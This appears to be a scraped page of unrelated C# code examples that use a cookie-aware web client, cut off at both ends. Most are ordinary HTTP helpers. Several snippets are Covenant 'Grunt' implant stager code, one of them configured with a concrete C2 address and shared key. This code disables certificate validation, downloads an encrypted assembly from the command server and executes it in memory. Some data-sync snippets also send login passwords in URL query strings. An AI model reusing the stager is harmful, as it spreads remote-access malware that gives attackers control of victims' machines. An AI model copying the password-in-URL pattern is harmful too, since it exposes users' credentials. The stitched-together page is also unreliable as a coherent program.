                UploadFilesToRemoteUrl(string.Format("http://test2.deviumrocks.com/admin/index.php?route=report/stock&{0}", token), files.ToArray(),
                                       "uploadPos", "application/vnd.ms-excel", new NameValueCollection(), client.CookieContainer, "Upload was succesful");

                //HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://test.deviumrocks.com/admin/index.php?route=report/stock&{0}");
                //string boundary = "---------------------------" + DateTime.Now.Ticks.ToString("x");
                //request.CookieContainer = client.CookieContainer;
                //request.Method = "POST";
                //request.ContentType = "multipart/form-data; boundary=" + boundary;

                //byte[] boundarybytes = System.Text.Encoding.ASCII.GetBytes("\r\n--" + boundary + "\r\n");


                //b = client.UploadFile(string.Format("http://test.deviumrocks.com/admin/index.php?route=report/stock&{0}", token), "");

                //string result = client.DownloadString(string.Format("http://test.deviumrocks.com/admin/index.php?route=report/stock&{0}&uploadPos={1}", token,));
            }
        }
示例#25
0
		/// <summary>
		/// Used to create a web client with all of the appropriote proxy/useragent/etc settings
		/// </summary>
		private WebClient CreateWebClient()
		{
			WebClient client = new CookieWebClient() { Encoding = Encoding.UTF8 };
			client.Headers.Add("user-agent", NetworkSettingsProvider.UserAgent);
            if (NetworkSettingsProvider.ProxyType == "Http")
			{
				if (_useDefaultProxy)
				{
					client.Proxy = HttpWebRequest.DefaultWebProxy;
				}
				else if (!String.IsNullOrEmpty(_proxyServer))
				{
					client.Proxy = new WebProxy(_proxyServer, _proxyPort);
				}
                if (client.Proxy != null && NetworkSettingsProvider.ProxyRequiresAuthentication)
				{
                    if (NetworkSettingsProvider.UseDefaultAuthenticationForProxy)
					{
						client.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
					}
					else
					{
						client.Proxy.Credentials = new NetworkCredential(_proxyUserName, _proxyPassword, _proxyDomain);
					}
				}
			}
			return client;
		}
示例#26
0
文件: Net.cs 项目: nkYellOw/test
        public string POST(string link, Dictionary <string, object> data = null,
                           NameValueCollection headers = null, string payloadData = null)
        {
            using (var wc = new CookieWebClient())
            {
                wc.CookieContainer = cookie;
                wc.Encoding        = Encoding;

                //wc.Headers.Add(HttpRequestHeader.ContentType, "application/json");
                if (headers != null)
                {
                    for (int i = 0; i < headers.Count; i++)
                    {
                        switch (headers.GetKey(i).ToLower())
                        {
                        case "accept":
                            wc.Headers.Add(HttpRequestHeader.Accept, headers.Get(i));
                            break;

                        case "content-type":
                            wc.Headers.Add(HttpRequestHeader.ContentType, headers.Get(i));
                            break;

                        case "referer":
                            wc.Headers.Add(HttpRequestHeader.Referer, headers.Get(i));
                            break;

                        case "host":
                            wc.Headers.Add(HttpRequestHeader.Host, headers.Get(i));
                            break;

                        case "connection":
                            if (headers.Get(i) == "keep-alive")
                            {
                                wc.Headers.Add(HttpRequestHeader.KeepAlive, "true");
                            }
                            else
                            {
                                wc.Headers.Add(HttpRequestHeader.Connection, headers.Get(i));
                            }
                            break;

                        case "content-length":
                            wc.Headers.Add(HttpRequestHeader.ContentLength, headers.Get(i).ToString());
                            break;

                        case "user-agent":
                            wc.Headers.Add(HttpRequestHeader.UserAgent, headers.Get(i));
                            Console.WriteLine(headers.Get(i));
                            break;

                        default:
                            wc.Headers.Add(headers.GetKey(i), headers.Get(i).ToString());
                            break;
                        }
                    }
                }

                string res = "";
                if (data != null)
                {
                    string dataStr = Func.DictionaryToUrlParam(data);
                    res = wc.UploadString(new Uri(link), "POST", dataStr);
                }
                else if (data == null && !string.IsNullOrEmpty(payloadData))
                {
                    res = wc.UploadString(new Uri(link), "POST", payloadData);
                }

                cookie = wc.CookieContainer;
                return(res);
            }
        }
示例#27
0
        public void ExecuteStager()
        {
            try
            {
                List <string> CovenantURIs            = @"{{REPLACE_COVENANT_URIS}}".Split(',').ToList();
                string        CovenantCertHash        = @"{{REPLACE_COVENANT_CERT_HASH}}";
                List <string> ProfileHttpHeaderNames  = @"{{REPLACE_PROFILE_HTTP_HEADER_NAMES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List <string> ProfileHttpHeaderValues = @"{{REPLACE_PROFILE_HTTP_HEADER_VALUES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List <string> ProfileHttpUrls         = @"{{REPLACE_PROFILE_HTTP_URLS}}".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList();
                string        ProfileHttpPostRequest  = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}".Replace(Environment.NewLine, "\n");
                string        ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}".Replace(Environment.NewLine, "\n");
                bool          ValidateCert            = bool.Parse(@"{{REPLACE_VALIDATE_CERT}}");
                bool          UseCertPinning          = bool.Parse(@"{{REPLACE_USE_CERT_PINNING}}");

                Random random        = new Random();
                string aGUID         = @"{{REPLACE_GRUNT_GUID}}";
                string GUID          = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10);
                byte[] SetupKeyBytes = Convert.FromBase64String(@"{{REPLACE_GRUNT_SHARED_SECRET_PASSWORD}}");
                string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";

                Aes SetupAESKey = Aes.Create();
                SetupAESKey.Mode    = CipherMode.CBC;
                SetupAESKey.Padding = PaddingMode.PKCS7;
                SetupAESKey.Key     = SetupKeyBytes;
                SetupAESKey.GenerateIV();
                HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
                RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters());

                byte[] RSAPublicKeyBytes     = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
                byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
                byte[] hash       = hmac.ComputeHash(EncryptedRSAPublicKey);
                string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));

                ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
                ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, errors) =>
                {
                    bool valid = true;
                    if (UseCertPinning && CovenantCertHash != "")
                    {
                        valid = cert.GetCertHashString() == CovenantCertHash;
                    }
                    if (valid && ValidateCert)
                    {
                        valid = errors == System.Net.Security.SslPolicyErrors.None;
                    }
                    return(valid);
                };
                string          transformedResponse = HttpMessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
                CookieWebClient wc             = null;
                string          Stage0Response = "";
                wc = new CookieWebClient();
                wc.UseDefaultCredentials = true;
                wc.Proxy             = WebRequest.DefaultWebProxy;
                wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
                string CovenantURI = "";
                foreach (string uri in CovenantURIs)
                {
                    try
                    {
                        for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                        {
                            wc.Headers.Set(ProfileHttpHeaderNames[i], ProfileHttpHeaderValues[i]);
                        }
                        wc.DownloadString(uri + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)]);
                        CovenantURI = uri;
                    }
                    catch
                    {
                        continue;
                    }
                }
                for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                {
                    wc.Headers.Set(ProfileHttpHeaderNames[i], ProfileHttpHeaderValues[i]);
                }
                Stage0Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)], String.Format(ProfileHttpPostRequest, transformedResponse)).Replace("\"", "");
                string extracted = Parse(Stage0Response, ProfileHttpPostResponse)[0];
                extracted = Encoding.UTF8.GetString(HttpMessageTransform.Invert(extracted));
                List <string> parsed       = Parse(extracted, MessageFormat);
                string        iv64str      = parsed[3];
                string        message64str = parsed[4];
                string        hash64str    = parsed[5];
                byte[]        messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SetupAESKey.IV = Convert.FromBase64String(iv64str);
                byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] FullyDecrypted     = rsa.Decrypt(PartiallyDecrypted, true);

                Aes SessionKey = Aes.Create();
                SessionKey.Mode    = CipherMode.CBC;
                SessionKey.Padding = PaddingMode.PKCS7;
                SessionKey.Key     = FullyDecrypted;
                SessionKey.GenerateIV();
                hmac = new HMACSHA256(SessionKey.Key);
                byte[] challenge1         = new byte[4];
                RandomNumberGenerator rng = RandomNumberGenerator.Create();
                rng.GetBytes(challenge1);
                byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
                hash = hmac.ComputeHash(EncryptedChallenge1);

                string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
                transformedResponse = HttpMessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body));

                string Stage1Response = "";
                for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                {
                    wc.Headers.Set(ProfileHttpHeaderNames[i], ProfileHttpHeaderValues[i]);
                }
                Stage1Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)], String.Format(ProfileHttpPostRequest, transformedResponse)).Replace("\"", "");
                extracted      = Parse(Stage1Response, ProfileHttpPostResponse)[0];
                extracted      = Encoding.UTF8.GetString(HttpMessageTransform.Invert(extracted));
                parsed         = Parse(extracted, MessageFormat);
                iv64str        = parsed[3];
                message64str   = parsed[4];
                hash64str      = parsed[5];
                messageBytes   = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);

                byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] challenge1Test      = new byte[4];
                byte[] challenge2          = new byte[4];
                Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
                Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
                if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test))
                {
                    return;
                }

                SessionKey.GenerateIV();
                byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
                hash = hmac.ComputeHash(EncryptedChallenge2);

                string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
                transformedResponse = HttpMessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body));

                string Stage2Response = "";
                for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                {
                    wc.Headers.Set(ProfileHttpHeaderNames[i], ProfileHttpHeaderValues[i]);
                }
                Stage2Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)], String.Format(ProfileHttpPostRequest, transformedResponse)).Replace("\"", "");
                extracted      = Parse(Stage2Response, ProfileHttpPostResponse)[0];
                extracted      = Encoding.UTF8.GetString(HttpMessageTransform.Invert(extracted));
                parsed         = Parse(extracted, MessageFormat);
                iv64str        = parsed[3];
                message64str   = parsed[4];
                hash64str      = parsed[5];
                messageBytes   = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);
                byte[]   DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                Assembly gruntAssembly     = Assembly.Load(DecryptedAssembly);
                gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { CovenantURI, CovenantCertHash, GUID, SessionKey });
            }
            catch (Exception e) { Console.Error.WriteLine(e.Message); }
        }
示例#28
0
文件: Net.cs 项目: nkYellOw/test
        public string GET(string link, Dictionary <string, object> data = null,
                          NameValueCollection headers = null, string payloadData = null, string Proxy = "", int downloadDelay = 0)
        {
            using (var wc = new CookieWebClient())
            {
                wc.CookieContainer = cookie;
                wc.Encoding        = Encoding;

                if (!string.IsNullOrEmpty(Proxy))
                {
                    WebProxy webProxy = new WebProxy(Proxy, true);
                    webProxy.UseDefaultCredentials = true;
                    wc.Proxy = webProxy;
                }

                if (headers != null)
                {
                    for (int i = 0; i < headers.Count; i++)
                    {
                        Sleep(downloadDelay);

                        switch (headers.GetKey(i).ToLower())
                        {
                        case "accept":
                            wc.Headers.Add(HttpRequestHeader.Accept, headers.Get(i));
                            break;

                        case "content-type":
                            wc.Headers.Add(HttpRequestHeader.ContentType, headers.Get(i));
                            break;

                        case "referer":
                            wc.Headers.Add(HttpRequestHeader.Referer, headers.Get(i));
                            break;

                        case "host":
                            wc.Headers.Add(HttpRequestHeader.Host, headers.Get(i));
                            break;

                        case "connection":
                            if (headers.Get(i) == "keep-alive")
                            {
                                wc.Headers.Add(HttpRequestHeader.KeepAlive, "true");
                            }
                            else
                            {
                                wc.Headers.Add(HttpRequestHeader.Connection, headers.Get(i));
                            }
                            break;

                        case "content-length":
                            wc.Headers.Add(HttpRequestHeader.ContentLength, headers.Get(i).ToString());
                            break;

                        case "user-agent":
                            wc.Headers.Add(HttpRequestHeader.UserAgent, headers.Get(i));
                            Console.WriteLine(headers.Get(i));
                            break;

                        default:
                            wc.Headers.Add(headers.GetKey(i), headers.Get(i).ToString());
                            break;
                        }
                    }
                }

                string dataStr = "";
                if (data != null)
                {
                    dataStr = "?" + Func.DictionaryToUrlParam(data);
                }

                string res = wc.DownloadString(link + dataStr);
                ResponseUri = wc.ResponseUri.ToString();
                cookie      = wc.CookieContainer;
                return(res);
            }
        }
示例#29
0
        private int GetNewFormResultID(int formResultId)
        {
            Debug.WriteLine("DataSync.GetNewFormResultID formResultId: " + formResultId.ToString());

            def_FormResults fr = formsRepo.GetFormResultById(formResultId);

            try
            {
                HttpWebRequest httpRequest = null;
                httpRequest = (HttpWebRequest)WebRequest.Create(sisOnlineURL + @"Defws/Login?UserId=" + SessionHelper.LoginInfo.LoginID + "&pwrd=" + SessionHelper.LoginInfo.Password);

                CookieContainer cc = new CookieContainer();
                httpRequest.CookieContainer = cc;

                httpRequest.Method = WebRequestMethods.Http.Get;

                // Get back the HTTP response for web server
                using (HttpWebResponse httpResponse = (HttpWebResponse)httpRequest.GetResponse())
                {
                    using (Stream httpResponseStream = httpResponse.GetResponseStream())
                    {
                        string response = String.Empty;
                        using (StreamReader reader = new StreamReader(httpResponseStream))
                        {
                            response = reader.ReadToEnd();
                        }

                        Debug.WriteLine("GetNewFormResultID response: " + response);
                    }
                }

                using (var client = new CookieWebClient(cc))
                {
                    var data = new NameValueCollection()
                    {
                        //int formId, int formStatus, int EnterpriseID, int GroupID, int interviewer)

//                            int formId, int formStatus, int sessionStatus, DateTime dateUpdated,
//            bool deleted, bool locked, bool archived, int EnterpriseID, int GroupID, int subject, int interviewer, int assigned, bool training, int reviewStatus, DateTime statusChangeDate)
                        { "formId", fr.formId.ToString() },
                        { "formStatus", fr.formStatus.ToString() },
                        { "sessionStatus", fr.sessionStatus.ToString() },
                        { "dateUpdated", fr.dateUpdated.ToString() },
                        { "deleted", fr.deleted.ToString() },
                        { "locked", fr.locked.ToString() },
                        { "archived", fr.archived.ToString() },
                        { "EnterpriseID", fr.EnterpriseID.ToString() },
                        { "GroupID", fr.GroupID.ToString() },
                        { "subject", fr.subject.ToString() },
                        { "interviewer", fr.interviewer.ToString() },
                        { "assigned", fr.assigned.ToString() },
                        { "training", fr.training.ToString() },
                        { "reviewStatus", fr.reviewStatus.ToString() },
                        { "statusChangeDate", fr.statusChangeDate.ToString() }
                    };
                    byte[] result = client.UploadValues(sisOnlineURL + "DataSync/" + "CreateFormResult", "POST", data);

                    string newId           = Encoding.ASCII.GetString(result);
                    int    newFormResultId = Int32.Parse(newId);
                    SessionHelper.Write("newFormResultId", newFormResultId);

                    return(newFormResultId);
                }
            }
            catch (Exception ex)
            {
                Debug.WriteLine("GetNewFormResultID - exception:" + ex.Message);
                return(formResultId);
            }
        }
示例#30
0
        public bool UploadSingleJson()
        {
            string jsonData = SessionHelper.Read <string>("jsonData");

            try
            {
                // Login to the remote server
                HttpWebRequest httpRequest = null;
                string         uriString   = sisOnlineURL + @"Defws/Login?UserId=" + SessionHelper.LoginInfo.LoginID + "&pwrd=" + SessionHelper.LoginInfo.Password;
                Debug.WriteLine("UploadSingleJson uriString: " + uriString);
                // string encodedUrl = WebUtility.UrlEncode(uriString);

                Uri sisServerUri = new Uri(uriString);
                // Debug.WriteLine("UploadSingleJson uriString: " + sisServerUri.ToString());
                Debug.WriteLine("UploadSingleJson  sisServerUri: " + sisServerUri.ToString());

                httpRequest = (HttpWebRequest)WebRequest.Create(sisServerUri);
                CookieContainer cc = new CookieContainer();
                httpRequest.CookieContainer = cc;
                httpRequest.Method          = WebRequestMethods.Http.Get;

                // Get back the HTTP response from remote server for the login
                using (HttpWebResponse httpResponse = (HttpWebResponse)httpRequest.GetResponse())
                {
                    using (Stream httpResponseStream = httpResponse.GetResponseStream())
                    {
                        string response = String.Empty;
                        using (StreamReader reader = new StreamReader(httpResponseStream))
                        {
                            response = reader.ReadToEnd();
                        }

                        Debug.WriteLine("Response: " + response);
                    }
                }

                // *** RRB 10/28/15 - There should be a check here for a valid login response.
                // The login logic above should be in its own method and used by all the logins.

                // Transmit the Assessment to the remote server.
                using (var client = new CookieWebClient(cc))
                {
                    var data = new NameValueCollection()
                    {
                        { "json", jsonData }
                    };
                    byte[] result = client.UploadValues(sisOnlineURL + "Defws/" + "UpdateAssessmentJSONVenture", "POST", data);

                    Debug.WriteLine("Status code: " + client.StatusCode());
                    if (result.Length == 0)
                    {
                        return(true);
                    }
                    if (result == null)
                    {
                        Debug.WriteLine("Upload JSON error  result is null.");
                    }
                    if (result.Length > 0)
                    {
                        Debug.WriteLine("Upload JSON error  result.length: " + result.Length);
                    }

                    Debug.WriteLine("Upload JSON error: " + Encoding.ASCII.GetString(result));

                    return(false);
                }
            }
            catch (Exception ex)
            {
                Debug.WriteLine("UploadSingleJSON:" + ex.Message);
                if (ex.InnerException != null && ex.InnerException.Message != null)
                {
                    Debug.WriteLine("UploadSingleJSON InnerException: " + ex.InnerException.Message);
                }

                return(false);
            }
        }
        public void ExecuteStager()
        {
            try
            {
                List <string> CovenantURIs            = @"http://192.168.107.129:80".Split(',').ToList();
                string        CovenantCertHash        = @"";
                List <string> ProfileHttpHeaderNames  = @"VXNlci1BZ2VudA==,Q29va2ll".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List <string> ProfileHttpHeaderValues = @"TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xKSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNDEuMC4yMjI4LjAgU2FmYXJpLzUzNy4zNg==,QVNQU0VTU0lPTklEPXtHVUlEfTsgU0VTU0lPTklEPTE1NTIzMzI5NzE3NTA=".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List <string> ProfileHttpUrls         = @"L2VuLXVzL2luZGV4Lmh0bWw=,L2VuLXVzL2RvY3MuaHRtbA==,L2VuLXVzL3Rlc3QuaHRtbA==".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList();
                string        ProfileHttpPostRequest  = @"i=a19ea23062db990386a3a478cb89d52e&data={0}&session=75db-99b1-25fe4e9afbe58696-320bea73".Replace(Environment.NewLine, "\n");
                string        ProfileHttpPostResponse = @"<html>
    <head>
        <title>Hello World!</title>
    </head>
    <body>
        <p>Hello World!</p>
        // Hello World! {0}
    </body>
</html>".Replace(Environment.NewLine, "\n");
                bool          ValidateCert            = bool.Parse(@"false");
                bool          UseCertPinning          = bool.Parse(@"false");

                Random random        = new Random();
                string aGUID         = @"11ac008d1b";
                string GUID          = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10);
                byte[] SetupKeyBytes = Convert.FromBase64String(@"xaRl3L+AY+sdTONnMv7FNbYqnzmu26xEP6gmGGWTAQQ=");
                string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";

                Aes SetupAESKey = Aes.Create();
                SetupAESKey.Mode    = CipherMode.CBC;
                SetupAESKey.Padding = PaddingMode.PKCS7;
                SetupAESKey.Key     = SetupKeyBytes;
                SetupAESKey.GenerateIV();
                HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
                RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters());

                byte[] RSAPublicKeyBytes     = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
                byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
                byte[] hash = hmac.ComputeHash(EncryptedRSAPublicKey);
                Console.WriteLine("Stage 0");
                string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));

                ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
                ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, errors) =>
                {
                    bool valid = true;
                    if (UseCertPinning && CovenantCertHash != "")
                    {
                        valid = cert.GetCertHashString() == CovenantCertHash;
                    }
                    if (valid && ValidateCert)
                    {
                        valid = errors == System.Net.Security.SslPolicyErrors.None;
                    }
                    return(valid);
                };
                string          transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
                CookieWebClient wc             = null;
                string          Stage0Response = "";
                wc = new CookieWebClient();
                wc.UseDefaultCredentials = true;
                wc.Proxy             = WebRequest.DefaultWebProxy;
                wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
                string CovenantURI = "";
                foreach (string uri in CovenantURIs)
                {
                    try
                    {
                        for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                        {
                            if (ProfileHttpHeaderNames[i] == "Cookie")
                            {
                                wc.SetCookies(new Uri(uri), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", ""));
                            }
                            else
                            {
                                wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", ""), ProfileHttpHeaderValues[i].Replace("{GUID}", ""));
                            }
                        }
                        wc.DownloadString(uri + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", ""));
                        CovenantURI = uri;
                    }
                    catch
                    {
                        continue;
                    }
                }
                for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                {
                    if (ProfileHttpHeaderNames[i] == "Cookie")
                    {
                        wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID));
                    }
                    else
                    {
                        wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
                    }
                }
                Stage0Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
                string extracted = Parse(Stage0Response, ProfileHttpPostResponse)[0];
                extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                List <string> parsed       = Parse(extracted, MessageFormat);
                string        iv64str      = parsed[3];
                string        message64str = parsed[4];
                string        hash64str    = parsed[5];
                byte[]        messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SetupAESKey.IV = Convert.FromBase64String(iv64str);
                byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] FullyDecrypted     = rsa.Decrypt(PartiallyDecrypted, true);

                Aes SessionKey = Aes.Create();
                SessionKey.Mode    = CipherMode.CBC;
                SessionKey.Padding = PaddingMode.PKCS7;
                SessionKey.Key     = FullyDecrypted;
                SessionKey.GenerateIV();
                hmac = new HMACSHA256(SessionKey.Key);
                byte[] challenge1         = new byte[4];
                RandomNumberGenerator rng = RandomNumberGenerator.Create();
                rng.GetBytes(challenge1);
                byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
                hash = hmac.ComputeHash(EncryptedChallenge1);

                Console.WriteLine("Stage 1");
                string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body));

                string Stage1Response = "";
                for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                {
                    if (ProfileHttpHeaderNames[i] == "Cookie")
                    {
                        wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID));
                    }
                    else
                    {
                        wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
                    }
                }
                Stage1Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
                extracted      = Parse(Stage1Response, ProfileHttpPostResponse)[0];
                extracted      = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed         = Parse(extracted, MessageFormat);
                iv64str        = parsed[3];
                message64str   = parsed[4];
                hash64str      = parsed[5];
                messageBytes   = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);

                byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] challenge1Test      = new byte[4];
                byte[] challenge2          = new byte[4];
                Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
                Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
                if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test))
                {
                    return;
                }

                SessionKey.GenerateIV();
                byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
                hash = hmac.ComputeHash(EncryptedChallenge2);

                string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body));

                string Stage2Response = "";
                for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                {
                    if (ProfileHttpHeaderNames[i] == "Cookie")
                    {
                        wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID));
                    }
                    else
                    {
                        wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
                    }
                }
                Stage2Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
                extracted      = Parse(Stage2Response, ProfileHttpPostResponse)[0];
                extracted      = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed         = Parse(extracted, MessageFormat);
                iv64str        = parsed[3];
                message64str   = parsed[4];
                hash64str      = parsed[5];
                messageBytes   = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);

                /*byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                 * Assembly gruntAssembly = Assembly.Load(DecryptedAssembly);
                 * gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { CovenantURI, CovenantCertHash, GUID, SessionKey });*/
                GruntExecutor.Grunt.Execute(CovenantURI
                                            , CovenantCertHash
                                            , GUID
                                            , SessionKey
                                            , ProfileHttpHeaderNames
                                            , ProfileHttpHeaderValues
                                            , ProfileHttpUrls
                                            , ProfileHttpPostRequest
                                            , ProfileHttpPostResponse
                                            , ProfileHttpPostResponse
                                            , ValidateCert
                                            , UseCertPinning);
            }
            catch (Exception e) { Console.Error.WriteLine(e.Message + Environment.NewLine + e.StackTrace); }
        }
示例#32
0
        public void ExecuteStager()
        {
            try
            {
                string        CovenantURI             = @"{{REPLACE_COVENANT_URI}}";
                string        CovenantCertHash        = @"{{REPLACE_COVENANT_CERT_HASH}}";
                List <string> ProfileHttpHeaderNames  = new List <string>();
                List <string> ProfileHttpHeaderValues = new List <string>();
                // {{REPLACE_PROFILE_HTTP_HEADERS}}
                List <string> ProfileHttpUrls = new List <string>();
                // {{REPLACE_PROFILE_HTTP_URLS}}
